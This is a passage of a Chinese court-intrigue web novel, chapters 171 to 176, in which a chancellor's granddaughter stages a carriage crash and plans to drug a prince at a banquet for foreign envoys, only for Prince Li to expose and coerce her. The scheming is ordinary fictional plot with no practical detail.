思及此处他沉声吩咐道:“叫人在路上做些手脚,务必要拦住礼王,不许他去芙蓉楼给成王殿下搅局!” ----------------- “殿下您看,这便是大辉都城第一楼,当真气派!” 晨露故作矜持的走在夏锦澜身后,眼神却禁不住左右乱瞟了,时不时惊呼一声—— “公主您看,那是蛮族的舞姬!” “殿下快瞧,竟有人在舞蛇!” “这里竟然还有我们北狄的摔跤表演!” …… 走在众人后头的皮劫逻见她一副没见过世面的样子不觉莞尔,低声道:“大辉地域广袤、物华天宝,乃司命大神眷顾之地,自然有不少外邦人来此处讨生活。不光是这芙蓉楼,南城、西城亦有不少外邦人做生意,姑娘闲暇时可出去逛逛,当能买到许多异域之物……” 晨露偷眼看了看皮劫逻,暗道这位南诏公子长得当真俊俏,为人又温厚和蔼,若是六公主能嫁他为妻该有多好! 夏锦澜闻言这才转身朝身后少年点了点头,“多谢公子解惑,吾乃北狄六公主,不知公子尊姓大名?” 一听对方身份如此尊贵,皮劫逻忙正了神色,垂头施了个礼:“家父乃是南诏内算官异目赞,吾名为皮劫逻。” 夏锦澜点了点头,“公子言语间似乎对大辉颇为熟悉,想是来过许多回了?” 皮劫逻面上露出一丝赧色,“不瞒公主,这是我第一次来大辉。刚刚那些都是我在书上看到的先人口中的大辉,今日能亲眼得见大辉的富庶、繁荣,一时竟有些激动,还请公主见谅!” “公子不必过谦,此番也是我第一次来大辉。我这侍女没见过世面,倒叫公子笑话了……” 晨露面色一红,忙道:“我们北狄如今也很繁华,公子若愿意可往北狄游历一番,我们的都城虽没有洛阳热闹,却也有很多耍杂耍的外邦人,他们的表演十分精彩,公子若见到一定会喜欢!” 第一百七十一章 宴客芙蓉楼(二) “夏锦澜,谁叫你和那南诏人胡乱搭话的?还不赶快到本王子身边来!” 听见夏云骁的呼喝,夏锦澜面色一赧,忙不迭朝皮劫逻露出个歉然的笑,“大王兄脾气大,公子莫您莫要见怪……” 皮劫逻温和一笑,“公主客气了,既然大王子有命,您还是快回去吧!说起来也是我太过轻狂,累的公主受王兄责骂;您放心,待会儿我会亲自向大王子赔罪。” 这般温和谦逊的内算官公子轻易便赢得了晨露的好感,她朝皮劫逻投去感激的目光,这才扶着六公主朝大王子走去。 芙蓉楼的小二脚有些跛,一见众人便迎了上来,笑嘻嘻道:“欢迎北狄和南诏使团的各位贵客,长公主早就派人来知会过,请各位随小人上楼吧!” 夏云骁一脸厌弃的看着那跛脚汉子。 还说是大辉京城第一楼,怎么弄了个瘸子来招待人?! 见他阴着脸不说话,小二便道:“客人放心,二楼最好的位子成王殿下早就送给了长公主,但公主大度,刚刚特意差人嘱咐小的,将东、西两处雅阁拨给诸位使者用,又叫咱们呈上最好的美食和歌舞,贵客们必会乘兴而归!” 皮劫逻笑道:“咱们腆颜占了长公主的位子,心中着实过意不去,不知殿下何时会到,我等好歹敬殿下几杯,也好表一表谢意! “长公主脾气古怪,虽也曾在咱们这芙蓉楼宴请过宾朋,却并非次次都到场,小人也不知殿下此番会不会来……” 夏云骁不由勃然大怒,“你说什么?本王子今日本有别的安排,是商无忧非要请本王子来这芙蓉楼,请人赴宴、东道主岂可不在?” 小二忙陪着笑脸道:“客人息怒,小人不过是个传话儿的……” “大王子难为他作甚!” 皮劫逻笑呵呵走上前来,轻声劝解道:“下官远在南诏,对大辉长公主的脾气却也略有耳闻。莫要说跑堂的小二,便是三公九卿之尊也断不敢得罪长公主。今日长公主做东,可谓是给足了你我两国的面子,既如此殿下到不到厂又能如何?” 他凑到夏云骁身边低声道:“没有那位神厌鬼弃的神女大人在,大王子也能自在些不是?” “下官听说前两日您与大辉长公主起了冲突,长公主一气之下便对您下了咒,那咒语十分可怕,大王子当日便被幻境吓的跪地求饶,惊恐之下甚至亲手砍下了身旁护卫的手掌。大辉长公主叫您在手下人面前颜面尽失,依下官看你二人今日不见也罢……” 这南诏小子竟敢当着众人的面嘲笑于他! 也不看看自己什么身份——南诏区区小国,拿什么和北狄比?! 待自己回到四方馆,定叫檀烨派手下暗卫好好教训教训这无法无天的臭小子! 思及此处,夏云骁一把挥开言笑晏晏的皮劫逻,冷冷道:“区区南诏小吏,莫要碍了本王子的眼!” 皮劫逻被他推了个趔趄,却不怒不恼,只朝小二儿道:“还不快给北狄大王子带路!” “王子殿下,您楼上请!” 夏云骁再不理皮劫逻,大踏步往楼上走去。 夏锦澜朝他点了点头,这才带着晨露跟在夏云骁身后一同上了楼。 皮劫逻不由在心中冷笑。 北狄恁的托大,当初是他们找上门来要联合南诏共同牵制大辉,又提出与南诏共同出使,承诺只要南诏配合北狄威慑大辉,便许南诏边境一城;如今南诏信守承诺,这北狄大王子偏又拿起乔来。不仅一副高高在上的嘴脸,还不许北狄公主和自己说话,难不成他忘了北狄曾许诺嫁一位公主入南诏吗?! 正思索间,却见小二拖着跛脚来至皮劫逻面前,压低声道:“南诏使者,长公主特意吩咐小人请您请到东雅阁,那边是最好的位置,您跟小人来吧!” 皮劫逻一脸兴味的道:“北狄势强,按理说殿下该将最好的位置留给北狄人才是吧?” 小二嘿嘿一笑,“公子不知咱们这位殿下的脾气,谁若惹得长公主不痛快,便是皇亲国戚也断不会好过!” “前几日那北狄大王子当着那么多人的面屈辱赵家孤儿寡母,还叫手下人对二小姐动手。这样的人长公主岂会瞧得上?殿下包下的好位子,自然也不会让他去坐……” “宁国公到!” 皮劫逻微微侧头,但见一个温润如玉的俊美男子走了进来——他眉眼和善、风度翩翩,唇边含着一抹笑叫人如沐春风。 皮劫逻瞧了他半天,这才歪着头朝小二道:“这便是长公主的那位夫婿?赵家乃武将世家,怎会生出这般文弱的公子?就他这小身板儿,禁得住长公主揉搓吗……” “公子不必担心,赵家的人自然都是会武的。宁国公没从过军,想来身手不如其兄征西将军,但也该算得上身手不凡,如若不如陛下怎么会让他坐羽林中郎将呢?” 皮劫逻却不信小二的话。 在他看来这宁国公浑身上下没有一丝武人气概,便是领了什么羽林中郎将之位,怕也是靠着父辈的功勋,与这位宁国公自身怕是半分关系也没有! 赵元婴走进楼来,见装束便知此人是南诏人,这才温和道:“尊驾可是南诏使臣皮劫逻?听闻尊使在街上偶遇长公主,相逢即有缘,殿下特意在此设宴招待使者。殿下稍后就到,请先回去落座吧!” 福童跟在赵元婴身后上了楼,待到了无人之处,他这才低声道:“公主叫奴婢派人盯着高相,殿下前脚带着南诏使者往芙蓉楼去,后脚相府便有人快马往成王府去了!” 赵元婴边走边道:“掌管过校事府之人自然手眼通天……” 福童闻言不由冷笑,“可报信之人前脚一走,相府后门处便有另一辆马车往礼郡王府去了。国公爷可知道那人是谁?” “首鼠两端的,竟是高家那位即将定亲的嫡小姐,高若馨!” 第一百七十二章 算计 “小姐,您非要这么做不可吗?若是被相爷发现了,这可如何是好啊!” “您就要与张公子定亲了,若是在这个紧要关头传出了什么不好的风声,你还怎么做人啊……” 柳儿打着颤,死死拉着高若馨袖子,苦苦劝道:“小姐您再想想,要不就去好好求求夫人,这可是条不归路,小姐若真踏了出去,淑妃只怕不会给您活路……” “嫁给张子昂我就有活路了?” 高若馨狠狠咬了咬唇,怒道:“祖父不顾惜我、父亲也不肯替我说话,便是我去求母亲又能有什么用?!再不想法子,待两家的婚事一定,我便无路可走了!” “我是不会嫁那京都鬼见愁的,他如今已成了半个残废,若是嫁了他我今后还有什么指望?” 柳儿忙道:“可相爷不是说了吗,订婚之事不过是掩人耳目之举,待风声过了便要夫人去退婚……” “若是高家反悔了呢?” 高若馨恨恨道:“那张子昂已是个残废,名声又臭了,哪个大户人家愿意将女儿嫁给他?若他娶不到高门贵女,到时又不肯退婚,难不成祖父会为我得罪高家?!” 柳儿一愣,忙道:“不会的,您可是相府的嫡女,相爷不会将您嫁给张子昂的……” “祖父是不愿,可在他心中家族的利益高于一切!张家有兵权在手,祖父也不敢轻易得罪。到时我只怕要和姑母一样,成为家族的牺牲品了!” 柳儿还想再劝,却见高若馨把眼一瞪,目光中带着决绝的恨意,厉声道:“你不帮我,难不成想看我一脖子吊死吗?” 柳儿张了张嘴,嗫嚅道:“可您不是说要解除婚约只能靠攀上成王殿下吗,咱们做什么要去拦礼王的车驾?” “成王是我表兄,他的脾气我最是知晓。他不好女色,却喜欢聪慧、于政事上对有助益的女子。此次北狄与南诏使团入京,是成王与礼王争储位的关键一局,若我能在此事上帮到成王,便能在他心中留下个好印象,到时我再以从祖父那里听来的朝局为礼,请他帮我解除婚约,他必会应允!” 看着高若馨笃定的模样,柳儿默了默,这才道:“虽说皇子上门提亲相爷一定会解除您与张家的婚约,可淑妃是小姐的姑姑,却一直瞧不上小姐,她会同意让成王娶您吗……” 高若馨冷冷一笑,“这可就由不得她了!表兄最见不得别人不将他放在眼里,只要是他认准的事,便是淑妃也不能左右!” “可仅仅因为使团之事,成王便一定会答应娶您吗?事涉皇子婚事,陛下他会同意吗?” 高若馨缩在袖中的手狠狠攥紧,修长的指甲深深嵌入掌心,疼痛这般强烈,亦如她豁出去的意志。她定定道:“今日成王不是要去赴长公主的宴吗,我已经备好了药,只要过了今日……” “我好歹是相府的嫡女,成王他不敢负我!” 小姐是真的疯了! 柳儿浑身瘫软,不敢去想若此事真的发生她会受到什么样的惩罚…… 高若馨牢牢架着柳儿的胳膊,低声道:“别怕,我会护着你,只要我成了成王妃便没有人敢伤害你,便是祖父也不行!” 她循循善诱道:“只要你此次帮了我,我便带你去成王府,祖父的手再长也伸不到未来储君的府里!你好好想想,大皇子的母亲虽是贵嫔,可陆家不过三品之家,拿什么和高家比?礼王母子都是蠢货,他连商无忧都斗不过,凭什么和成王争太子位?” “待成王成了储君,我便是名正言顺的太子妃,是整个大辉最最尊贵的女子,便是淑妃也要看着我的眼色行事。你是我身边最得力的丫头,今后是要做女官的,无人再敢能动你一手指头!” 柳儿不敢再听、也不愿再想,她泪流满面的闭起双眼,低声道:“但凭小姐吩咐……” 高若馨面色一喜,忙不迭道:“你去塞些银子给后门的婆子,你去挑一辆不起眼的马车,咱们两个扮做侍女悄悄出去;记得带上你哥哥赶车,在半路上朝礼王的马车撞过去;到时我会在身上弄些伤痕,你只管就拉着礼王厮闹,让他去相府赔罪。” “到时你就说带我去淑妃宫中看太医,之后便直奔芙蓉楼去见成王。席间成王回去向北狄、南诏使者敬酒,你就趁机将药下在我与他的酒中,之后……” 高若馨眸中闪着厉色,低声道:“你只管回府,就说成王非要我留下对饮……待明日高家来寻人,该发生的都已发生,木已成舟,成王是一定要去相府提亲的了……” 柳儿的身子如坠冰窖。 小姐的胆子太大了,竟用自己的清白之身去算计皇子! 但愿此事能成,否则她便要陷入反劫不复之地了…… 一刻后,一辆灰扑扑的马车急急驶出了相府后门。 ----------------- “快点,再快点!” 礼郡王商煦鹏坐在车内,不断催促外头的车夫。 身旁护卫铁风道:“殿下莫急,属下接到探子回报便叫人套车了,成王定是要在咱们后头赶到芙蓉楼的。多亏殿下叫人紧盯国公府和相府,否则此事定会叫成王争得了先机!” 商煦鹏冷冷道:“成王的心太大了。他非嫡非长,本就不配同我争,可他偏偏有个做丞相的外族,本王的外族不过是个三品,r若拼权势本王自不是高子霖那老狐狸的对手。无忧最近颇颇得陛下圣心,叫人盯着他二人的行动准没错!” 他思忖片刻,又道:“北狄和南诏此番有备而来,只是眼下意图未明,本王若能站得先机便能在父皇面前露脸!南诏、北狄皆是强过,若能争得他们的支持,本王争夺储位便又添了一大助力……” 咚!砰! 正说着,礼王的车身好似撞到什么般猛的一停,商煦鹏一时不查,额头咚的一声撞到了车璧上。疼的他大骂不止—— “混账,谁敢冲撞本王的车驾?!” 却听外头怯生生一道女声:“可是……大表兄?” 第一百七十三章 高家小姐受伤了 铁风眸色一紧,忙挑起车帘朝外看了一眼,这才道:“殿下,果真是相府的马车!此车太过不起眼,咱们的人这没留意,没想到他们竟敢直直撞上来,想来这帮人定是高相派来阻拦殿下往芙蓉楼见北狄、南诏两国使者的!” 礼王怒道:“好个高子霖,本王好歹是皇子,他竟敢让手下人纵马来撞本王的车驾,看来是半分也没将商氏皇族的威严放在眼中!” “高家下人不过都是贱民,冲撞本王乃是死罪!铁风,你带人给本王将这帮不知死活的家伙都宰了!” “属下遵命!” 几个侍卫迅速跳下车,朝对面相府的马车冲去,不多时马车内便响起此起彼伏的尖叫声—— “你们是哪里来的贼人,是要做什么?此乃高相的孙女、吏部高大人的嫡女,敢对咱们动手,你们就不怕被诛九族?” “哼,相府嫡女穿的跟个丫头一样,你是当爷几个没见识吗?您们冒犯了贵人,还敢恶人先告状,信不信爷砍了你们的脑袋?!” “你、你敢?!我家小姐可是淑妃娘娘嫡亲的侄女,尔等若敢对小姐有一丝一毫的不敬,就不怕淑妃和成王寻你们的麻烦吗?” “淑妃算什么、成王又算什么?我家主子身份高贵,岂是一介后宫嫔妃可比的?休得多言,你们冒犯了我家主子,给我下来赔罪!” “大胆!给我松手,小姐、小姐……” “混账,哎呦……” 礼王闻言眉心一跳,忙冲铁风使了个眼色;铁风忙跳下车,不多时便走了回来、低声回禀道:“小人看清楚了,确实是相府的马车,可车上一共只有三个人。其中一个是车夫,不会功夫;另外两个都是丫头打扮,其中一人似是相爷的孙女……” 高若馨?! 堂堂相府嫡女竟穿着丫头衣服,还坐着破烂马车,这是要去做什么? 礼王忙追问道:“你可看清了,马车上再没别人了?” “王爷放心,那辆马车总共巴掌大的地儿,小人仔仔细细的看了三四回,除了高小姐主仆,再无旁人!” 堂堂高门贵女,换了侍女的衣服偷偷出府,除了是要去会情郎,礼王还真想不出其他的答案。 本以为撞车之事是高子霖有意为之,现在看来,竟是另有隐情! 既然是相府嫡女,人是断断杀不得了;堂堂郡王,总不好和一个姑娘置气,可自己平白无故被高若馨这丫头耽搁了行程,这口恶气不出不行! “这个高若馨,平日里仗着淑妃和高相宠爱,一贯娇纵跋扈;你好生给她个教训,好叫她知道,商氏皇族的威严不是小小的丞相之女可以冒犯的!” 得到命令的铁风恭恭敬敬的将礼王的车帘放下,转身朝相府的马车走去。 柳儿见那高高壮壮的侍卫又走了回来,心头不由涌上一股惧意,她不由分说用身子挡在车前,厉声道:“要想都我家小姐,便从我身上踩过去……” 铁风一伸手便将她推倒在地,口中不屑道:“还真把自己当个人物了?若不是有相府这块金字招牌护着,你这丫头早就是一具尸体了……” 说着便伸手去挑高府的车帘。 后面车内的礼王闻言嘴角带笑:铁风不是怜香惜玉之辈,高若馨和她的丫头这回可要吃苦头了…… 可等了半晌,却不见外头再有动静,正在纳闷儿,却见铁风神情肃穆的打起车帘,低声道:“殿下,高家小姐受伤了……” 礼王嘴角的笑意顿时消失无踪。 到底是丞相的嫡孙女,若人真在他手里伤到了,高子霖那老匹夫断断不会善罢甘休。 思及此处,他忙道:“伤到哪儿了,严不严重?” “高小姐额角流血,一只胳膊也动不了了,看样子是受伤不轻。小人不敢贸然伸手探问小姐伤势,您看如今该怎么办才好……” 礼王皱起眉头,高若馨那丫头莫不识豆腐做的? 不过就是撞了一下而已,怎么就断了条胳膊呢? 若是平常也就罢了,可芙蓉楼那边情势不等人,若是误了时辰可就得不偿失了! 思及此处他忙朝铁风道:“赶紧叫人去宫中请太医,你留下亲自送高小姐回府,若是高相问起来也好替本王分辨一二,就说此事乃是一场误会,他日本王必上门致歉……” “尊驾将我家小姐伤成这个样子,就想一走了之了?” 柳儿仗着胆子来至礼王车前,高声道:“我家小姐是高门贵女,你们伤了人,若不赶紧去相府赔罪,就不怕日后我家相爷追究起来,你们吃不了兜着走吗?” “凭你什么身份,伤了人也断不能一走了之!” 柳儿插着腰转头朝身旁高声道:“还请诸位评评理,莫要走了这无礼之人!” 围观的百姓们闻言议论纷纷—— “这姑娘说得对,不过就是辆车相撞,好歹将伤者送回府,再叫上个大夫上门来瞧瞧。还说是大户人家,竟连这点道理都不懂!” “伤人者日后还得提着礼物登门致歉呢,怎么只留下个下人料理后事,自己却走掉了,真是岂有此理!” …… 眼见群情激愤,礼王这才清了清嗓子,高声道:“本王乃是礼郡王,外头的可是高家姑娘?今日之事实属意外,本王的头也碰的生疼,便想要入宫去寻太医瞧瞧。听说姑娘受伤不轻,为免耽误姑娘伤情本王只得叫手下侍卫先将你送回府,姑娘放心,今日之事本王日后一定给高相一个交待!” 铁风亦道:“王爷的身子贵重,还请王爷赶快入宫,高小姐这边有小人操持,这就叫人去请太医!” 听闻撞了人的是礼王,处理起事情来由极为爽利,百姓们便也不敢再多说,匆匆散去了。 礼王这才长出了口气,刚要吩咐侍卫驱车,却听对面马车中一道柔弱的女声道:“礼王殿下撞了人,便想这样离去吗?” “殿下声音洪亮,不像受伤之人,若馨可是真真切切断了条胳膊!既然殿下要入宫看太医,若馨便与殿下同行,好叫太医好生看看,殿下与若馨,究竟谁伤的比较重?” “也顺便让陛下评评理,今日之事到底是谁的错!” 第一百七十四章 不妨与本王同乘 礼王心中满是不屑—— 竟敢用父皇来压他,看来这高若馨竟与自己杠上了! 看在她身为女子的份上,他本不欲与之计较,没想到她竟这般蹬鼻子上脸! 既如此,他便没有必要给高子霖留脸面了。 礼王轻咳一声,铁衣忙上前打起车帘,恭恭敬敬的将礼王扶下马车,口中道:“王爷小心脚下!” 柳儿见状忙登上马车,俯身轻轻打起车帘,低声道:“小姐,礼王殿下来了!” 礼王朝前走了几步,他微微低下头朝车里瞄了一眼,果然见到一个穿着丫头服饰的少女侧身坐在车内,她额上似有血迹,左手紧紧捂着右臂,面色亦有些苍白。 礼王见状不由轻勾起嘴角,笑道:“小姐是成王的表妹,身份贵重,这样的衣衫和马车怎么衬得起小姐?相府女眷的车驾本不该这般寒酸,小姐这幅装扮莫不是要去偷偷见什么人?” 说到此处他忽做恍然大悟状,拍着额头道:“本王糊涂了,高家与张家的婚事就要定了,小姐定是相思难安,这才私自出府去会张家二少……” 他语带调侃道:“小姐对张子昂果然深情,之前你二人在淑妃的太掖池边偷偷幽会,却被无忧撞破,几乎闹出人命;如今那张子昂只怕已经残废,小姐还肯偷偷跑出去见他,当真是痴情之人!” 高若馨面色一红—— 好个礼王,竟敢用太掖池边之事羞辱她! 她今日绝不能让他去到芙蓉楼! “王爷说笑了,臣女与张子昂实无半分关系!这些日子洛阳城中来了不少外邦人,小女也是为了安全起见,这才换了衣衫、坐府中普通的马车出来散散心。” “事关女子名节,还请王爷口下留德!” 礼王撇了撇嘴,他就说,鬼见愁那样的人怎么会有世家女子看得上? 可高若馨的话他也不信! 他太了解这帮世家贵女了,要她们穿普通衣衫、坐朴素马车,便如杀了她们一般! 若不是有难言之隐,这高若馨断不会纡尊降贵! 她言辞间似对张子昂十分不屑,既不是为了张子昂,此番她遮遮掩掩、究竟是为了见谁?! 高若馨咬了咬牙,朝一旁的柳儿道:“你这胳膊使不上劲,你扶我一把!” 在柳儿的搀扶下,那楚楚可怜的一张脸终于出现在礼王眼前。 礼王双眼一亮—— 他小时候是见过高若馨的,只不过那时候两个人都是小孩子,高若馨又一向骄傲,从来不肯正眼看人;礼王母子又一直受淑妃的窝囊气,他自是不喜一向眼高于顶的高若馨;直至开府封王,便再也没见过这位相府千金一回。 没想到这么多年过去了,这丫头竟出落的这般美艳! 只可惜这样的美人,竟要嫁与张子昂那样的不轨之徒,当真是暴殄天物…… 待看清她额角的血迹,礼王的心又是一软—— 罢了,他跟个小丫头置什么气呢?! 这便好声好气道:“刚刚是本王失言,小姐莫怪!小姐的伤耽误不得,你先行一步回府,本王这就叫侍卫去请太医……” 高若馨摇了摇头,苦笑道:“我本是贪玩儿、偷偷跑出来的,没想到我的马车竟与殿下的撞在一处……此处人多眼杂,为防有人日后以此做文章,还请殿下去府中坐坐,与祖父分说分说!” 这个要求不算过分,若是在平时礼王必定欣然答允。可商煦鹏此时心中惦记着芙蓉楼内的两国使臣,断不肯在高若馨身上浪费时间,闻言便道:“小姐的话虽然在理,只可惜本王眼下有要事在身,不若日后……” 高若馨闻言眼圈一红,低声道:“王爷说这话便是将若馨置于不忠不孝之地了。殿下是君,臣女虽有所冒犯,却是无心之举;可这番措施若由若馨去与祖父说,祖父是断断不会理睬臣女的。还请殿下看在若馨这条断臂的份上,好歹替若馨分辨两句……” 美人垂泪、我见犹怜! 见礼王几乎就要点头,铁风忙道:“那边的宴席可是早就定好的,就等殿下了!您若不去,叫他们怎么下得来台呢?” 礼王皱了皱眉,这才道:“这是我贴身的侍卫,此番便由他护送小姐回府,再将事情原委与高相说个清楚,想来高相必不会迁怒小姐……” “殿下派个侍卫送我回去,这不是摆明给祖父甩脸子吗?祖父和父亲还是要怪我的!” 高若馨泪眼朦胧道:“还有我这胳膊……我以后不会变得和那张子昂一样吧?!我可是相府嫡女,不想一辈子被人嗤笑……” “那高小姐想要如何?” “殿下好歹亲自送我回府!” 高若馨低声啜泣道:“我只求殿下亲自向祖父将此事说明白,一来不使殿下与祖父生出误会,二来也能免了若馨一场责罚……殿下就当发发慈悲,帮帮若馨还不行吗?” “再说若馨刚刚冲撞了殿下,祖父和父亲也该给您好好赔罪才是……” 见她说的如此悲切,礼王不由动了恻隐之心,思忖半晌这才下了决心。 “既如此,本王便遂了小姐的愿,亲自去相府将误会说开!” 高若馨闻言这才破涕为笑,“礼王殿下当真宽厚,臣女谢殿下恩典!” 铁风闻言不由暗自焦急,忙道:“王爷您……” 礼王摆了摆手,“本王主意已定,你不必再说了!” 高若馨沾沾自喜,轻声道:“我来为殿下引路!” 礼王看了看她身后的马车,温声道:“小姐的马车已被撞坏,虽说马车还能走,却难免颠簸。若小姐不弃,不妨与本王同乘,如此也能表一表本王心意,不知小姐可愿赏脸?” 这当然好! 两人坐一辆车她便能牢牢看着礼王,省得他半道开溜,丢下她一个人偷偷跑去芙蓉楼赴宴,坏了礼王的大事! 高若馨笑盈盈道:“臣女恭敬不如从命!” 铁风急的满头大汗,可礼王的双眼却直勾勾盯在高若馨身上,竟亲自挑开车帘扶高若馨上车。 铁风在忍不住,凑到他身边低声道:“王爷,您万不能为了个女子误了大事……” 礼王横了他一眼,压低声音道:“你懂什么?!还不快将高若馨身边那两个人给我看牢了,尤其她身边那个丫头!不准走了一人,也不准他们多说一句话,若有人敢抗命便给本王就地斩杀!” 第一百七十五章 不觉得太过卑鄙了吗 马车行了一会儿,高若馨便察觉出些不对,她轻轻挑起车帘朝外查看,微带诧异道:“王爷,这条路好似并非去往相府,莫不是侍卫们走错了路?” 礼王微微一笑,“高相的府邸何人不知?本王走的虽非捷径,却一定能抵达相府,小姐不必多疑!” 高若馨闻言这才放下心来,转过头柔柔道:“今日若馨着实给王爷添麻烦了……” “小姐是淑妃的亲侄女,又是成王的表妹,论理也该唤我一声大表兄才是!” 高若馨不屑冷笑——礼王好生不要脸!淑妃是祖父的女儿,成王亦是高家血脉,她唤成王一声表兄乃是天经地义,想做她的表兄,他商煦鹏可还差的远! 她心中虽瞧不上礼王的嘴脸,面上却不敢带出分毫,只柔柔道:“论理虽如此,可臣女并非皇室血脉,岂敢如此称呼殿下……” 礼王闻言却皱起眉,“小姐这般拘礼可是没拿本王当自己人?你可知本王为了送你归府耽误了多大的事?莫非小姐是觉得本王不配?!” 今他好似生了气,高若馨忙道:“殿下息怒……王爷既如此平易近人,若馨就腆颜叫王爷一声大表兄!” 礼王闻言这才露出笑容,“如此甚好……话说回来,若馨表妹穿成这个样子真的不是为了会情郎?本王嘴严得很,妹妹若真有难言之隐,本王愿意为你遮掩一二……” 他怎么又说这个?! 高若馨皱了皱眉,语带不满道:“臣女刚刚说过了,臣女不过是一时贪玩而已……” “原来如此,本王还以为你穿成这个样子、又命人撞了本王的马车,是想偷偷去见那位新承爵的宁国公呢!” 高若馨的心一颤,她诧异的望向礼王,迟疑道:“王爷说什么?” 礼王随意的抚了抚衣服上的褶皱,低笑道:“若馨妹妹难道不是想去芙蓉楼去看赵元婴?自从他成了无忧的夫婿,你便一直对无忧心存怨恨。你利用高家嫡女的身份在贵女中散播谣言,言辞直指长公主刻薄狠辣,是以无忧成亲许久,京中高门女眷依旧畏之如虎。” “无忧在司命祭礼上拼着性命祈下我大辉国泰民安的功绩,在你和你母亲与淑妃的暗中运作下,渐被人刻意淡忘;你又指责赵家女眷嚣张跋扈、欺辱亲族,如今赵家几位夫人、小姐出门时皆要被人指指点点,甚至连史太君都要背负有眼无珠、昏聩无能的骂名……妹妹如此行事,不就是为了能让那赵元婴多看你几眼吗?” 礼王看着高若馨满面的愤恨,不由轻叹一声:“高相当真宠爱表妹,与幕僚商议密事亦不背着表妹!芙蓉楼今日会有大事发生——表妹是知道了此事才偷偷跑出府的吧?只为了看那赵元婴一眼,聪慧如妹妹定然不会冒着被祖父责罚的危险冒然出府。若本王没猜错,若馨妹妹此行,该是为了那位由姑母所出、与你有血亲的表兄——成王才是!” 高若馨的双眼蓦的睁大—— 礼王他居然猜到了?! 高若馨将手中帕子攥的死紧—— 没关系、没关系! 她的真实目的连柳儿都没说,礼王也断断不会知道…… “王爷,从高小姐的丫头身上搜出了一些药,那些是……迷情之药……” 礼王挑起眉,不敢置信道:“看来本王猜错了,你此行虽是为了帮成王,实则却是为了赵元婴——你是想趁着长公主的宴席给赵元婴下药,倒时一众位外国使团皆为人证,而成王也要投桃报李——倒时便是无忧再不愿,赵元婴也不得不娶你入国公府了……” “好歹是相府贵女,竟用这般下作手段陷害有妇之夫,不觉得太过卑鄙了吗?” 轰! 礼王的话犹如一个巴掌狠狠扇在高若馨脸上,她只觉浑身上下的血液一瞬间全朝头上涌去;她猛地抬起头,白了脸吼道:“是她活该!她仗着皇女之尊,便来抢夺我的心上人;以彼之道还施彼身,如也也该商无忧尝一尝被人横刀夺爱的滋味了!” 柳儿在外头听见高若馨的吼声,忙不迭叫了声“小姐”,却被铁风一把捂住嘴,狠狠敲晕了过去。 听到声音的高若馨忙不迭朝外看去,却见前方不远处的楼子上端端正正的写着“芙蓉楼”三个大字,吓得她一把将车帘扯下,转头朝礼王道:“王爷什么意思?您不是说要送我回家吗?堂堂郡王、怎能出尔反尔?” “本王是说过要送你回府,却没说何时送你回府!” 礼王说着一把扯向高若馨的右臂,随即冷冷道:“连本王着不擅医道之人都看得出你这胳膊完好无损,你想算计本王,却舍不得弄伤自己、将戏做全,就凭你这点子不入流的手段还想算计赵元婴和商廷煜?!” 见高若馨白着脸不说话,礼王忽又缓了口气,沉声道:“本王看得出你对赵元婴的心意,想来是高家与张家的婚事将近,高相又逼的太紧,你这才出此下策——不就是不想嫁给张子昂吗?本王帮你就是!” 高若馨此时已从慌乱中回过神来,她瞥了礼王一眼,冷冷道:“王爷不是气计臣女算计了您吗?既如此您为何要帮我?” “小姐对情之执着,着实叫本王感动!” 礼王勾起嘴角,轻声道:“只是天下熙熙皆为利来,本王当然不会白白帮人——论才智、学识,本王无一不压商廷煜一头,不过是家势没他好、为人又不似他那般虚伪,这才不得父皇青眼。此次会见两国使者对本王甚为重要,只要小姐以相府千金的身份帮一帮本王,本王一定助你达成心愿!” 见高若馨面带迟疑,礼王继续道:“成王可是高相至亲,又一贯心机深沉,事涉储位,你如何确定他会对你施以援手?” 他面带得意道:“成王顾忌着亲情不敢压高相,本王却不管这么多——反正储位之争迟早要与高相对上,本王此次便来了先礼后兵!” 高若馨心下冰凉——自己的谋划已被礼王全部知晓,如今他正捏着自己的命门,她如何敢不答应?! 她把心一横,这才重重点了点头,“既如此,若馨便听大表兄的吩咐便是!” 第一百七十六章 都是贵客 赵元婴刚刚上了楼,便听楼下小二高喝:“礼王千岁到了!” 春山嘿嘿一笑,“来的倒快!” 赵元婴哼了一声,“长公主复起,眼下所有人的眼睛都盯着国公府;而礼王意在储位,必然密切注意着京城内的动静,他如此行事倒也在情理之中……你随我下去接人吧!” 主仆二人刚下了楼,门外又道:“成王殿下到了!” 春山撇了撇嘴,小声咕哝道:“长公主宴请两国使臣,请客的人没到,他们倒是比长公主更在意今日这场宴席……” “听说宁国公夫妻在此处宴客,本王便不请自来,想来沛之你不会拒客吧?” “殿下这说的是什么话?成王莅临,芙蓉楼蓬荜生辉,沛之与有荣焉!说起来这芙蓉楼中最好的位子还是殿下转赠与我们夫妻,今日长公主宴客,我本该亲赴王府邀殿下一同赴宴;如今殿下既来了,倒省了我一番功夫。” “哈哈,本王就知道沛之好客,既如此本王就不客气了!” 成王与赵元婴寒暄如此熟络,莫非二人私下里早有联络?! 思及此处礼王这才站起身,派头十足的从马车上走了下来,高声道:“宁国公,你们夫妻二人请客做东,怎地不来请本王?本王生平最好凑热闹,如今不请自来,还望国公爷莫要怪罪!” 赵元婴忙快步上前,躬身施礼道:“礼王是贵客,快请进吧!” 礼王闻言摆了摆手,笑道:“不忙,与本王一同赴宴的还有一位贵客,若国公爷不嫌便请客人一同入席吧!” “哦?既然是王爷的客人,便请进吧!” 闻言一道倩影挑开车帘,笑盈盈道:“宁国公如此好客,小女却之不恭了!” 赵元婴挑了挑眉—— 高若馨?! 她怎么会坐上礼王车来赴宴? 赵元婴对此女并无好感,便朝旁边挪了挪身子,温声道:“还请几位贵客入席!” 礼王目不斜视,抬腿便往楼上走;成王见状忙唤了声“大皇兄”,礼王脚步一顿,一脸的状若恍然,“廷煜?!本王听说今日无忧宴请两国使者,你怎会在此处?” 成王温声道:“不过是场私宴,本王不过是来凑凑热闹,大皇兄不也是来凑热闹的吗?” “哼,本王由皇后娘娘抚养,与无忧一同长大,彼此兄妹情深,岂是你可比的?” “好个兄妹情深!无忧病了这么多年,却不见大皇兄去探望一回,您就是这般关爱妹妹的?” “商廷煜,你也从来没探望过病重的长公主,凭什么来论断本王的是非?!再说无忧得的是疯病,岂是探望上几回就能好的?父皇下旨,要无忧‘静养’,静养你懂不懂?那就是不许人轻易打扰……” “是皇兄说与无忧兄妹情深的!本王虚长无忧几岁,又早早开府封王,与无忧的感情自是半分不及皇兄!您乃诸皇子之长,弟弟们可都看着您行事,您都不去探望重病的长公主,我们有一学一、当然就更不敢去瞧长公主了!” 